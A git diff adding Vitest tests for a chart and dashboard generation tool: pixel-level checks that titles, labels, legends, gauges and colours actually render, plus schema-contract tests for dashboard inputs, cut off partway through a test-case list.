b/mcp-host/src/workflow/__tests__/internalTools.charts.rendering.test.tsnew file mode 100644index 000000000..a0b341051--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.charts.rendering.test.ts@@ -0,0 +1,748 @@+/**+ * Rendering assertions for clerum__generate_chart. These tests read the rendered+ * pixels, since a blank canvas still passes success and PNG-magic checks.+ */+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'+import { createCanvas, loadImage } from '@napi-rs/canvas'+import { Chart } from 'chart.js'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolDefinition } from '../types'++function findTool(name: string): InternalToolDefinition {+ const tool = INTERNAL_TOOLS.find(t => t.name === name)+ if (!tool) throw new Error(`tool ${name} not registered`)+ return tool+}++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-chart-render-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++interface Region {+ x: number+ y: number+ w: number+ h: number+}++/**+ * Count pixels that differ from the chart's background. Used to assert that+ * something was actually drawn in a region, rather than trusting a success flag.+ */+async function inkIn(file: string, region?: Region): Promise<number> {+ const image = await loadImage(fs.readFileSync(file))+ const canvas = createCanvas(image.width, image.height)+ const ctx = canvas.getContext('2d')+ ctx.drawImage(image, 0, 0)+ const r = region ?? { x: 0, y: 0, w: image.width, h: image.height }+ const data = ctx.getImageData(r.x, r.y, r.w, r.h).data+ let n = 0+ for (let i = 0; i < data.length; i += 4) {+ // The light theme paints #ffffff; anything appreciably darker is drawn.+ if (data[i] < 240 || data[i + 1] < 240 || data[i + 2] < 240) n+++ }+ return n+}++/** Count only strongly dark pixels: a filled mark, never a gridline. */+async function darkIn(file: string, region: Region): Promise<number> {+ const image = await loadImage(fs.readFileSync(file))+ const canvas = createCanvas(image.width, image.height)+ const ctx = canvas.getContext('2d')+ ctx.drawImage(image, 0, 0)+ const data = ctx.getImageData(region.x, region.y, region.w, region.h).data+ let n = 0+ for (let i = 0; i < data.length; i += 4) if (data[i] < 100 && data[i + 1] < 100) n+++ return n+}++/** RGBA pixels of a PNG. */+async function pixelsOf(+ file: string+): Promise<{ data: Uint8ClampedArray; width: number; height: number }> {+ const image = await loadImage(fs.readFileSync(file))+ const canvas = createCanvas(image.width, image.height)+ const ctx = canvas.getContext('2d')+ ctx.drawImage(image, 0, 0)+ return {+ data: ctx.getImageData(0, 0, image.width, image.height).data,+ width: image.width,+ height: image.height,+ }+}++/** Height of the first run of inked rows from the top: the title's text. */+async function titleHeight(file: string): Promise<{ rows: number; height: number }> {+ const { data, width, height } = await pixelsOf(file)+ const inked = (y: number): boolean => {+ for (let x = 0; x < width; x++) {+ const i = (y * width + x) * 4+ if (data[i] < 200 && data[i + 1] < 200 && data[i + 2] < 200) return true+ }+ return false+ }+ let y = 0+ while (y < height && !inked(y)) y+++ const top = y+ while (y < height && inked(y)) y+++ return { rows: y - top, height }+}++/** Pixels within `tolerance` of `hex` in each channel, inside a region. */+function colorCount(+ image: { data: Uint8ClampedArray; width: number },+ hex: string,+ region: Region,+ tolerance = 12+): number {+ const [r, g, b] = [1, 3, 5].map(i => parseInt(hex.slice(i, i + 2), 16))+ let n = 0+ for (let y = region.y; y < region.y + region.h; y++) {+ for (let x = region.x; x < region.x + region.w; x++) {+ const i = (y * image.width + x) * 4+ if (+ Math.abs(image.data[i] - r) <= tolerance &&+ Math.abs(image.data[i + 1] - g) <= tolerance &&+ Math.abs(image.data[i + 2] - b) <= tolerance+ ) {+ n+++ }+ }+ }+ return n+}++async function dimensions(file: string): Promise<{ width: number; height: number }> {+ const image = await loadImage(fs.readFileSync(file))+ return { width: image.width, height: image.height }+}++const BAR_ARGS = {+ type: 'bar',+ data: {+ labels: ['Q1', 'Q2', 'Q3', 'Q4'],+ datasets: [{ label: 'Revenue', data: [120, 190, 300, 250] }],+ },+}++describe('chart text actually renders', () => {+ it('draws the title, which an image with no fonts silently omitted', async () => {+ const tool = findTool('clerum__generate_chart')++ // Two titles of different length over an identical plot: the longer one+ // must leave more ink in the title band. Comparing against an untitled+ // chart would not isolate the text, because dropping the title also lets+ // the plot area grow into the same band.+ const shortTitle = await tool.execute(+ { ...BAR_ARGS, filename: 'short.png', title: 'Q' },+ outputDir+ )+ const longTitle = await tool.execute(+ { ...BAR_ARGS, filename: 'long.png', title: 'Quarterly Revenue By Region And Segment' },+ outputDir+ )+ expect(shortTitle.success).toBe(true)+ expect(longTitle.success).toBe(true)++ const band = { x: 0, y: 0, w: 1600, h: 56 }+ const short = await inkIn(path.join(outputDir, 'short.png'), band)+ const long = await inkIn(path.join(outputDir, 'long.png'), band)+ expect(long).toBeGreaterThan(short)+ expect(short).toBeGreaterThan(50)+ })++ it('draws tick labels in the axis gutter', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute({ ...BAR_ARGS, filename: 'ticks.png' }, outputDir)+ expect(r.success).toBe(true)++ const { width, height } = await dimensions(path.join(outputDir, 'ticks.png'))+ // Bottom strip carries the category labels (Q1..Q4) and nothing else.+ const ink = await inkIn(path.join(outputDir, 'ticks.png'), {+ x: 0,+ y: height - 40,+ w: width,+ h: 38,+ })+ expect(ink).toBeGreaterThan(100)+ })++ it('prints the values on the bars by default', async () => {+ const tool = findTool('clerum__generate_chart')+ await tool.execute({ ...BAR_ARGS, filename: 'labels-on.png' }, outputDir)+ await tool.execute({ ...BAR_ARGS, filename: 'labels-off.png', showValues: false }, outputDir)++ const on = await inkIn(path.join(outputDir, 'labels-on.png'))+ const off = await inkIn(path.join(outputDir, 'labels-off.png'))+ expect(on).toBeGreaterThan(off)+ })++ it('renders legible text on a dark theme', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ { ...BAR_ARGS, filename: 'dark.png', title: 'Dark theme', theme: 'dark' },+ outputDir+ )+ expect(r.success).toBe(true)+ const image = await loadImage(fs.readFileSync(path.join(outputDir, 'dark.png')))+ const canvas = createCanvas(image.width, image.height)+ const ctx = canvas.getContext('2d')+ ctx.drawImage(image, 0, 0)+ // Light text on the dark ground: pixels brighter than the #0f172a+ // background must exist in the title band, or the title is invisible.+ const data = ctx.getImageData(0, 0, image.width, 60).data+ let light = 0+ for (let i = 0; i < data.length; i += 4) if (data[i] > 150) light+++ expect(light).toBeGreaterThan(100)+ })++ it('keeps radial tick and point labels visible on a dark radar', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ {+ filename: 'radar.png',+ type: 'radar',+ theme: 'dark',+ data: { labels: ['Speed', 'Power', 'Range'], datasets: [{ label: 'M', data: [5, 8, 3] }] },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ const image = await loadImage(fs.readFileSync(path.join(outputDir, 'radar.png')))+ const canvas = createCanvas(image.width, image.height)+ const ctx = canvas.getContext('2d')+ ctx.drawImage(image, 0, 0)+ const data = ctx.getImageData(0, 0, image.width, image.height).data+ let light = 0+ for (let i = 0; i < data.length; i += 4) if (data[i] > 200) light+++ expect(light).toBeGreaterThan(200)+ })++ it('prints the reading inside a gauge and keeps the dial on the canvas', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ {+ filename: 'gauge.png',+ type: 'gauge',+ gaugeMax: 200,+ data: { labels: ['v'], datasets: [{ label: 'G', data: [140] }] },+ },+ outputDir+ )+ expect(r.success).toBe(true)++ const file = path.join(outputDir, 'gauge.png')+ const { width, height } = await dimensions(file)+ // The readout sits in the middle of the dial.+ const centre = await inkIn(file, {+ x: Math.floor(width * 0.35),+ y: Math.floor(height * 0.6),+ w: Math.floor(width * 0.3),+ h: Math.floor(height * 0.3),+ })+ expect(centre).toBeGreaterThan(100)++ // The half circle must not run off the bottom edge.+ const bottomRow = await inkIn(file, { x: 0, y: height - 2, w: width, h: 2 })+ expect(bottomRow).toBe(0)+ })+})++describe('chart geometry', () => {+ it('reports the pixel size it actually wrote', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ { ...BAR_ARGS, filename: 'sized.png', width: 600, height: 300 },+ outputDir+ )+ expect(r.success).toBe(true)+ const { width, height } = await dimensions(path.join(outputDir, 'sized.png'))+ // Rasterized above the nominal size for print sharpness; the result message+ // states the real dimensions so callers embedding it are not misled.+ expect(r.content).toContain(`${width}x${height}`)+ expect(width).toBeGreaterThanOrEqual(600)+ expect(height).toBeGreaterThanOrEqual(300)+ })++ it('keeps category names on the axis of a horizontal bar', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ {+ filename: 'hbar.png',+ type: 'horizontalBar',+ data: {+ labels: ['Alpha Division', 'Beta Group'],+ datasets: [{ label: 'Spend', data: [512000, 318000] }],+ },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ const { height } = await dimensions(path.join(outputDir, 'hbar.png'))+ // Left gutter carries the category names, not their indices.+ const gutter = await inkIn(path.join(outputDir, 'hbar.png'), {+ x: 0,+ y: 0,+ w: 200,+ h: height,+ })+ expect(gutter).toBeGreaterThan(200)+ })++ it('shows a legend naming the slices of a pie', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ {+ filename: 'pie.png',+ type: 'pie',+ data: {+ labels: ['Compute', 'Storage', 'Network'],+ datasets: [{ label: 'USD', data: [268, 120, 64] }],+ },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ // A single-dataset slice chart carries its series names in `labels`, so the+ // legend has to key off those or the slices go unnamed.+ const band = await inkIn(path.join(outputDir, 'pie.png'), { x: 0, y: 40, w: 1600, h: 50 })+ expect(band).toBeGreaterThan(100)+ })+})++describe('legend of a single series', () => {+ const render = async (name: string, extra: Record<string, unknown>) => {+ const r = await findTool('clerum__generate_chart').execute(+ {+ filename: name,+ type: 'bar',+ data: { labels: ['A', 'B'], datasets: [{ label: 'Units sold', data: [3, 5] }] },+ ...extra,+ },+ outputDir+ )+ expect(r.success, r.error).toBe(true)+ return fs.readFileSync(path.join(outputDir, name))+ }++ it('is shown when the series name says what the titles do not', async () => {+ const byDefault = await render('a.png', { title: 'Q3' })+ expect(byDefault.equals(await render('b.png', { title: 'Q3', showLegend: true }))).toBe(true)+ })++ it('is left out when a title already names the series', async () => {+ const byDefault = await render('c.png', { title: 'Units sold by region' })+ const hidden = await render('d.png', { title: 'Units sold by region', showLegend: false })+ expect(byDefault.equals(hidden)).toBe(true)+ })+})++describe('legibility regressions found in QA', () => {+ it('keeps small magnitudes from collapsing to zero', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ {+ filename: 'tiny.png',+ type: 'line',+ title: 'Small decimals',+ data: {+ labels: ['A', 'B', 'C'],+ datasets: [{ label: 'rate', data: [0.0012, 0.0031, 0.0024] }],+ },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ // Small values keep enough decimals to differ from "0", so the axis gutter+ // carries more ink than three zeroes would.+ const { height } = await dimensions(path.join(outputDir, 'tiny.png'))+ const gutter = await inkIn(path.join(outputDir, 'tiny.png'), { x: 0, y: 0, w: 130, h: height })+ expect(gutter).toBeGreaterThan(400)+ })++ it('caps the width of a bar when there is only one category', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ {+ filename: 'one.png',+ type: 'bar',+ title: 'One value',+ data: { labels: ['Only'], datasets: [{ label: 'x', data: [42] }] },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ const file = path.join(outputDir, 'one.png')+ const { width, height } = await dimensions(file)+ // A lone bar is capped in width. Counting only the bar's own fill —+ // gridlines cross this strip too — that region must stay clear.+ const strip = await darkIn(file, {+ x: Math.round(width * 0.12),+ y: Math.round(height * 0.5),+ w: Math.round(width * 0.06),+ h: Math.round(height * 0.3),+ })+ expect(strip).toBe(0)+ })++ it('draws overlapping radar series so both stay visible', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ {+ filename: 'radar2.png',+ type: 'radar',+ title: 'Two profiles',+ data: {+ labels: ['Speed', 'Cost', 'Scale', 'Support'],+ datasets: [+ { label: 'Us', data: [9, 9, 9, 9] },+ { label: 'Them', data: [3, 3, 3, 3] },+ ],+ },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ const image = await loadImage(fs.readFileSync(path.join(outputDir, 'radar2.png')))+ const canvas = createCanvas(image.width, image.height)+ const ctx = canvas.getContext('2d')+ ctx.drawImage(image, 0, 0)+ // The inner series sits entirely under the outer one. With an opaque fill+ // the centre is a single flat colour; a translucent fill leaves the two+ // regions measurably different.+ const centre = ctx.getImageData(+ Math.round(image.width / 2) - 6,+ Math.round(image.height / 2) - 6,+ 12,+ 12+ ).data+ const mid = ctx.getImageData(+ Math.round(image.width / 2) - 6,+ Math.round(image.height * 0.2),+ 12,+ 12+ ).data+ const avg = (d: Uint8ClampedArray): number => {+ let n = 0+ for (let i = 0; i < d.length; i += 4) n += d[i] + d[i + 1] + d[i + 2]+ return n / (d.length / 4)+ }+ expect(Math.abs(avg(centre) - avg(mid))).toBeGreaterThan(5)+ })++ it('labels the steps of a waterfall, which carry floating-bar values', async () => {+ const tool = findTool('clerum__generate_chart')+ await tool.execute(+ {+ filename: 'wf-on.png',+ type: 'waterfall',+ data: {+ labels: ['Open', 'New', 'Churn'],+ datasets: [{ label: 'D', data: [820, 210, -140] }],+ },+ },+ outputDir+ )+ await tool.execute(+ {+ filename: 'wf-off.png',+ type: 'waterfall',+ showValues: false,+ data: {+ labels: ['Open', 'New', 'Churn'],+ datasets: [{ label: 'D', data: [820, 210, -140] }],+ },+ },+ outputDir+ )+ const on = await inkIn(path.join(outputDir, 'wf-on.png'))+ const off = await inkIn(path.join(outputDir, 'wf-off.png'))+ expect(on).toBeGreaterThan(off)+ })++ it('thins value labels instead of stacking them into a band', async () => {+ const tool = findTool('clerum__generate_chart')+ const many = Array.from({ length: 60 }, (_, i) => 100 + i)+ const r = await tool.execute(+ {+ filename: 'dense.png',+ type: 'line',+ title: 'Sixty readings',+ data: {+ labels: Array.from({ length: 60 }, (_, i) => `D${i + 1}`),+ datasets: [{ label: 'v', data: many }],+ },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ const dense = await inkIn(path.join(outputDir, 'dense.png'))+ const few = await tool.execute(+ {+ filename: 'sparse.png',+ type: 'line',+ title: 'Sixty readings',+ showValues: false,+ data: {+ labels: Array.from({ length: 60 }, (_, i) => `D${i + 1}`),+ datasets: [{ label: 'v', data: many }],+ },+ },+ outputDir+ )+ expect(few.success).toBe(true)+ const sparse = await inkIn(path.join(outputDir, 'sparse.png'))+ // At this density labels are suppressed entirely, so the two must match.+ expect(Math.abs(dense - sparse)).toBeLessThan(dense * 0.02)+ })++ it('keeps every mark and label inside the canvas', async () => {+ const tool = findTool('clerum__generate_chart')+ for (const [name, args] of [+ [+ 'edge-tiny',+ {+ type: 'line',+ data: { labels: ['A', 'B'], datasets: [{ label: 'r', data: [0.0012, 0.0031] }] },+ },+ ],+ [+ 'edge-gauge',+ {+ type: 'gauge',+ gaugeMax: 100,+ data: { labels: ['v'], datasets: [{ label: 'g', data: [88] }] },+ },+ ],+ [+ 'edge-hbar',+ {+ type: 'horizontalBar',+ data: { labels: ['A', 'B'], datasets: [{ label: 'x', data: [1000000, 20] }] },+ },+ ],+ ] as Array<[string, Record<string, unknown>]>) {+ const r = await tool.execute({ ...args, filename: `${name}.png`, title: name }, outputDir)+ expect(r.success).toBe(true)+ const file = path.join(outputDir, `${name}.png`)+ const { width, height } = await dimensions(file)+ const frame =+ (await inkIn(file, { x: 0, y: 0, w: width, h: 1 })) ++ (await inkIn(file, { x: 0, y: height - 1, w: width, h: 1 })) ++ (await inkIn(file, { x: 0, y: 0, w: 1, h: height })) ++ (await inkIn(file, { x: width - 1, y: 0, w: 1, h: height }))+ expect(frame).toBe(0)+ }+ })+})++describe('large canvases', () => {+ it('sizes type to the canvas, so a large chart reads like the default scaled up', async () => {+ const tool = findTool('clerum__generate_chart')+ const args = { ...BAR_ARGS, title: 'Quarterly revenue' }+ expect((await tool.execute({ ...args, filename: 'base.png' }, outputDir)).success).toBe(true)+ const big = await tool.execute(+ { ...args, filename: 'big.png', width: 4000, height: 2000 },+ outputDir+ )+ expect(big.success).toBe(true)+ const base = await titleHeight(path.join(outputDir, 'base.png'))+ const large = await titleHeight(path.join(outputDir, 'big.png'))+ // The title takes the same share of the image height, within a margin.+ const share = (t: { rows: number; height: number }) => t.rows / t.height+ expect(share(large)).toBeGreaterThan(share(base) * 0.75)+ expect(share(large)).toBeLessThan(share(base) * 1.33)+ }, 20_000)+})++describe('gauge readout', () => {+ it('prints the real value and says so when it is past gaugeMax', async () => {+ const tool = findTool('clerum__generate_chart')+ const over = await tool.execute(+ { filename: 'over.png', type: 'gauge', gaugeMax: 50, data: { datasets: [{ data: [72] }] } },+ outputDir+ )+ const full = await tool.execute(+ { filename: 'full.png', type: 'gauge', gaugeMax: 50, data: { datasets: [{ data: [50] }] } },+ outputDir+ )+ expect(over.success).toBe(true)+ expect(full.success).toBe(true)+ expect(over.content).toContain('72')+ expect(over.content).toContain('gaugeMax 50')+ expect(over.content).not.toContain('labels')+ // The dial is full in both; only the printed number differs.+ const a = await pixelsOf(path.join(outputDir, 'over.png'))+ const b = await pixelsOf(path.join(outputDir, 'full.png'))+ let differ = 0+ for (let i = 0; i < a.data.length; i += 4) if (a.data[i] !== b.data[i]) differ+++ expect(differ).toBeGreaterThan(50)+ })++ it('says when a negative reading leaves the dial empty', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ { filename: 'neg.png', type: 'gauge', data: { datasets: [{ data: [-5] }] } },+ outputDir+ )+ expect(r.success).toBe(true)+ expect(r.content).toContain('-5')+ expect(r.content).toContain('below 0')+ })+})++describe('colors follow their points', () => {+ it('keeps each funnel stage in the color it was sent with', async () => {+ const tool = findTool('clerum__generate_chart')+ const red = '#dc2626'+ const green = '#16a34a'+ const r = await tool.execute(+ {+ filename: 'funnel-colors.png',+ type: 'funnel',+ showValues: false,+ data: {+ labels: ['Paid', 'Visits', 'Signups'],+ datasets: [{ data: [2400, 10000, 5000], backgroundColor: [red, green, '#f59e0b'] }],+ },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ const image = await pixelsOf(path.join(outputDir, 'funnel-colors.png'))+ const third = Math.floor(image.height / 3)+ const top = { x: 0, y: 0, w: image.width, h: third }+ const bottom = { x: 0, y: 2 * third, w: image.width, h: third }+ // Sorted descending, Visits is drawn first (top) and Paid last (bottom).+ expect(colorCount(image, green, top)).toBeGreaterThan(colorCount(image, red, top))+ expect(colorCount(image, red, bottom)).toBeGreaterThan(colorCount(image, green, bottom))+ })++ it('fills a short color list from the theme instead of repeating it', async () => {+ const tool = findTool('clerum__generate_chart')+ const r = await tool.execute(+ {+ filename: 'short-colors.png',+ type: 'pie',+ data: {+ labels: ['A', 'B', 'C', 'D'],+ datasets: [{ data: [1, 1, 1, 1], backgroundColor: ['#16a34a', '#f59e0b'] }],+ },+ },+ outputDir+ )+ expect(r.success).toBe(true)+ expect(r.content).toContain('backgroundColor')+ const image = await pixelsOf(path.join(outputDir, 'short-colors.png'))+ const all = { x: 0, y: 0, w: image.width, h: image.height }+ // Two of four equal slices each: repeating the list doubles every count.+ const green = colorCount(image, '#16a34a', all, 4)+ const amber = colorCount(image, '#f59e0b', all, 4)+ expect(Math.abs(green - amber)).toBeLessThan(green * 0.2)+ const slice = image.width * image.height * 0.02+ expect(green).toBeLessThan(slice * 10)+ expect(green).toBeGreaterThan(slice)+ })+})++describe('axes and points', () => {+ interface Drawn {+ scales: Record<string, { min: number; max: number }>+ datasets: Array<{ pointRadius?: unknown; clip?: unknown }>+ }++ /** The scales and datasets of the chart `args` draws, as Chart.js drew them. */+ async function drawn(args: Record<string, unknown>): Promise<Drawn> {+ const seen: Drawn[] = []+ const draw = Chart.prototype.draw+ const spy = vi.spyOn(Chart.prototype, 'draw').mockImplementation(function (this: Chart) {+ seen.push({+ scales: Object.fromEntries(+ Object.entries(this.scales).map(([id, s]) => [id, { min: s.min, max: s.max }])+ ),+ datasets: this.data.datasets as Drawn['datasets'],+ })+ return draw.call(this)+ })+ try {+ const r = await findTool('clerum__generate_chart').execute(args, outputDir)+ expect(r.success, r.error).toBe(true)+ } finally {+ spy.mockRestore()+ }+ return seen[seen.length - 1]+ }++ const labels = ['Jan', 'Feb', 'Mar', 'Apr']++ it('keeps headroom past the data without taking values from 0 below zero', async () => {+ const rising = await drawn({+ filename: 'l.png',+ type: 'line',+ data: { labels, datasets: [{ label: 'Users', data: [0, 40, 75, 100] }] },+ })+ expect(rising.scales.y.min).toBe(0)+ expect(rising.scales.y.max).toBeGreaterThan(100)+ const falling = await drawn({+ filename: 'n.png',+ type: 'bar',+ data: { labels, datasets: [{ label: 'P&L', data: [-10, -40, -75, -100] }] },+ })+ expect(falling.scales.y.max).toBe(0)+ expect(falling.scales.y.min).toBeLessThan(-100)+ const mixed = await drawn({+ filename: 'm.png',+ type: 'line',+ data: { labels, datasets: [{ label: 'Change', data: [-30, 40, -75, 100] }] },+ })+ expect(mixed.scales.y.min).toBeLessThan(-75)+ expect(mixed.scales.y.max).toBeGreaterThan(100)+ })++ it('ends a scatter at its data and draws the points on the edge whole', async () => {+ const chart = await drawn({+ filename: 's.png',+ type: 'scatter',+ data: {+ datasets: [+ {+ label: 'A',+ data: [+ { x: 0, y: 0 },+ { x: 10, y: 10 },+ { x: 5, y: 3 },+ ],+ },+ ],+ },+ })+ expect(chart.scales.x).toEqual({ min: 0, max: 10 })+ expect(chart.scales.y.min).toBe(0)+ expect(chart.datasets[0].clip).toBe(false)+ })++ it('draws the points of a dense series smaller, so they do not merge', async () => {+ const points = (n: number) => Array.from({ length: n }, (_, i) => ({ x: i % 50, y: i % 37 }))+ const sparse = await drawn({+ filename: 'a.png',+ type: 'scatter',+ data: { datasets: [{ label: 'A', data: points(20) }] },+ })+ const dense = await drawn({+ filename: 'b.png',+ type: 'scatter',+ data: { datasets: [{ label: 'A', data: points(3000) }] },+ })+ expect(sparse.datasets[0].pointRadius).toBe(6)+ expect(dense.datasets[0].pointRadius).toBe(1.5)+ })+})diff --git a/mcp-host/src/workflow/__tests__/internalTools.correctness.test.ts b/mcp-host/src/workflow/__tests__/internalTools.correctness.test.tsindex 2267c6291..e1d0e7a50 100644--- a/mcp-host/src/workflow/__tests__/internalTools.correctness.test.ts+++ b/mcp-host/src/workflow/__tests__/internalTools.correctness.test.ts@@ -112,7 +112,7 @@ describe('ragged rows are normalized to header count', () => {// ─── XLSX cell-anchor validation ───────────────────────────────────describe('XLSX rejects invalid image anchors', () => {- it('skips silently when image path does not exist (anchor never parsed)', async () => {+ it('leaves out a missing image with a warning (anchor never parsed)', async () => {const tool = findTool('clerum__generate_xlsx')const result = await tool.execute({@@ -131,6 +131,7 @@ describe('XLSX rejects invalid image anchors', () => {testOutputDir)expect(result.success).toBe(true)+ expect(result.content).toContain('fake.png')})it('surfaces an error when anchor is malformed and the image file exists', async () => {@@ -168,7 +169,7 @@ describe('XLSX rejects invalid image anchors', () => {// ─── XLSX hex validation ───────────────────────────────────────────describe('XLSX hex validation', () => {- it('rejects non-hex digits in conditionalFormatting fillColor', async () => {+ it('reports a fillColor that is not a color instead of failing the workbook', async () => {const tool = findTool('clerum__generate_xlsx')const result = await tool.execute({@@ -188,8 +189,8 @@ describe('XLSX hex validation', () => {},testOutputDir)- expect(result.success).toBe(false)- expect(result.error).toMatch(/Invalid hex color/)+ expect(result.success).toBe(true)+ expect(result.content).toContain("conditionalFormatting[0].rules[0].fillColor '#gggggg'")})it('accepts valid 6-char and 8-char hex', async () => {diff --git a/mcp-host/src/workflow/__tests__/internalTools.dashboard.contract.test.ts b/mcp-host/src/workflow/__tests__/internalTools.dashboard.contract.test.tsnew file mode 100644index 000000000..7126f1832--- /dev/null+++ b/mcp-host/src/workflow/__tests__/internalTools.dashboard.contract.test.ts@@ -0,0 +1,377 @@+/**+ * The workflow router validates against the dashboard schema, so the schema must+ * accept every shape the renderer draws. The chat path runs the renderer on+ * unvalidated arguments, which it must draw safely.+ */+import { afterEach, beforeEach, describe, expect, it } from 'vitest'+import * as fs from 'fs'+import * as os from 'os'+import * as path from 'path'+import { INTERNAL_TOOLS } from '../internalTools'+import type { InternalToolDefinition, InternalToolResult } from '../types'+import { workflowRouter } from './support/workflowRouter'++const TOOL = 'clerum__generate_dashboard'++interface SchemaNode {+ type?: string | string[]+ description?: string+ enum?: string[]+ properties?: Record<string, SchemaNode>+ items?: SchemaNode+ anyOf?: SchemaNode[]+}++function dashboardTool(): InternalToolDefinition {+ return INTERNAL_TOOLS.find(t => t.name === TOOL)!+}++let outputDir: string++beforeEach(() => {+ outputDir = fs.mkdtempSync(path.join(os.tmpdir(), 'clerum-dash-contract-'))+})++afterEach(() => {+ fs.rmSync(outputDir, { recursive: true, force: true })+})++async function viaWorkflow(args: Record<string, unknown>): Promise<InternalToolResult> {+ const { result } = await workflowRouter(outputDir).callTool(TOOL, structuredClone(args))+ return result.content as InternalToolResult+}++/** The chat adapter executes the tool without validating its arguments. */+async function viaChat(args: Record<string, unknown>): Promise<InternalToolResult> {+ return dashboardTool().execute(structuredClone(args), outputDir)+}++function page(result: InternalToolResult): string {+ expect(result.error).toBeUndefined()+ expect(result.success).toBe(true)+ return fs.readFileSync(result.artifact!.path, 'utf8')+}++const custom = (blocks: unknown[]) => ({+ filename: 'd.html',+ template: 'custom',+ data: { title: 'T', blocks },+})++/** Inputs the renderer draws, which both validated paths must accept. */+const HANDLED: Array<[string, Record<string, unknown>, RegExp]> = [+ [+ 'a numeric KPI value',+ { filename: 'd.html', data: { title: 'T', kpis: [{ label: 'NPS', value: 48 }] } },+ /kpi-card__value">48</,+ ],+ [+ 'numeric and empty table cells',+ {+ filename: 'd.html',+ data: { title: 'T', tables: [{ headers: ['a', 'b', 'c'], rows: [['EU', 1200, null]] }] },+ },+ /<td>1200<\/td><td><\/td>/,+ ],+ [+ 'a section written as one paragraph',+ {+ filename: 'd.html',+ data: { title: 'T', sections: [{ type: 'narrative', content: 'Hola' }] },+ },+ /<p>Hola<\/p>/,+ ],+ [+ 'a series with a gap and values written as text',+ {+ filename: 'd.html',+ data: {+ title: 'T',+ charts: [+ {+ type: 'line',+ labels: ['a', 'b', 'c'],+ datasets: [{ label: 's', data: [1, null, '1,200'] }],+ },+ ],+ },+ },+ /\[1,null,1200\]/,+ ],+ [+ 'one color per bar',+ {+ filename: 'd.html',+ data: {+ title: 'T',+ charts: [+ {+ type: 'bar',+ labels: ['a', 'b'],+ datasets: [{ data: [1, 2], backgroundColor: ['#111111', '#222222'] }],+ },+ ],+ },+ },+ /"#111111","#222222"/,+ ],+ [+ 'a custom kpis block of KPI objects',+ custom([{ type: 'kpis', items: [{ label: 'Strategic moves', value: 12 }] }]),+ /kpi-card__value">12</,+ ],+ [+ 'a custom charts-grid block of chart objects',+ custom([+ {+ type: 'charts-grid',+ items: [{ type: 'bar', title: 'Grid', labels: ['a'], datasets: [{ data: [3] }] }],+ },+ ]),+ /Grid<\/h3>/,+ ],+ [+ 'a custom incidents block of incident objects',+ custom([{ type: 'incidents', items: [{ time: '10:00', title: 'DB down', severity: 'high' }] }]),+ /DB down<\/h4>/,+ ],+ [+ 'custom code, callout and narrative blocks with string content',+ custom([+ { type: 'code', language: 'sql', content: 'SELECT 1;' },+ { type: 'callout', tone: 'warning', content: 'Careful' },+ { type: 'narrative', content: 'Once' },+ ]),+ /SELECT 1;.*Careful.*Once/s,+ ],+ [+ 'numeric chart labels such as years',+ {+ filename: 'd.html',+ data: {+ title: 'T',+ charts: [{ type: 'bar', labels: [2024, 2025], datasets: [{ data: [1, 2] }] }],+ },+ },+ /"labels":\["2024","2025"\]/,+ ],+ [+ 'a technical-report code section with its language',+ {+ filename: 'd.html',+ template: 'technical-report',+ data: { title: 'T', sections: [{ type: 'code', language: 'sql', content: ['SELECT 1;'] }] },+ },+ /code-block__lang">sql<\/div><pre><code>SELECT 1;/,+ ],+ [+ 'operations-pulse services and incidents',+ {+ filename: 'd.html',+ template: 'operations-pulse',+ data: {+ title: 'T',+ services: [{ name: 'API', status: 'degraded', metric: '142 ms' }],+ incidents: [{ time: '10:42', title: 'Latency', severity: 'medium' }],+ },+ },+ /health-card" data-status="degraded".*timeline-item" data-severity="med"/s,+ ],+ [+ 'a financial-review hero chart and period',+ {+ filename: 'd.html',+ template: 'financial-review',+ data: {+ title: 'T',+ period: 'Q3 2026',+ heroChart: {+ type: 'area',+ title: 'Revenue',+ labels: ['Jul', 'Aug'],+ datasets: [{ data: [1, 2] }],+ },+ },+ },+ /hero__eyebrow">Q3 2026<.*chart-card chart-card--wide/s,+ ],+ [+ 'the extended chart types clerum__generate_chart draws',+ {+ filename: 'd.html',+ data: {+ title: 'T',+ charts: ['stackedBar', 'stackedArea', 'mixedBarLine', 'funnel', 'gauge', 'waterfall'].map(+ type => ({+ type,+ title: type,+ labels: ['a', 'b'],+ datasets: [+ { label: 'x', data: [3, 5] },+ { label: 'y', data: [2, 4] },+ ],+ })+ ),+ },+ },+ /"id":"chart-5"/,+ ],+ [+ 'numeric KPI and service deltas and metrics',+ {+ filename: 'd.html',+ template: 'operations-pulse',+ data: {+ title: 'T',+ kpis: [{ label: 'Churn', value: 2.1, delta: -0.3 }],+ services: [{ name: 'API', status: 'healthy', metric: 142, delta: 0.2 }],+ },+ },+ /health-card__metric">142<.*data-sentiment="bad">-0\.3</s,+ ],+ [+ 'a sparkline of text and gaps, and a gauge maximum written as text',+ {+ filename: 'd.html',+ data: {+ title: 'T',+ kpis: [{ label: 'k', value: 1, sparkline: ['1', null, '3'] }],+ charts: [{ type: 'gauge', gaugeMax: '10', datasets: [{ data: 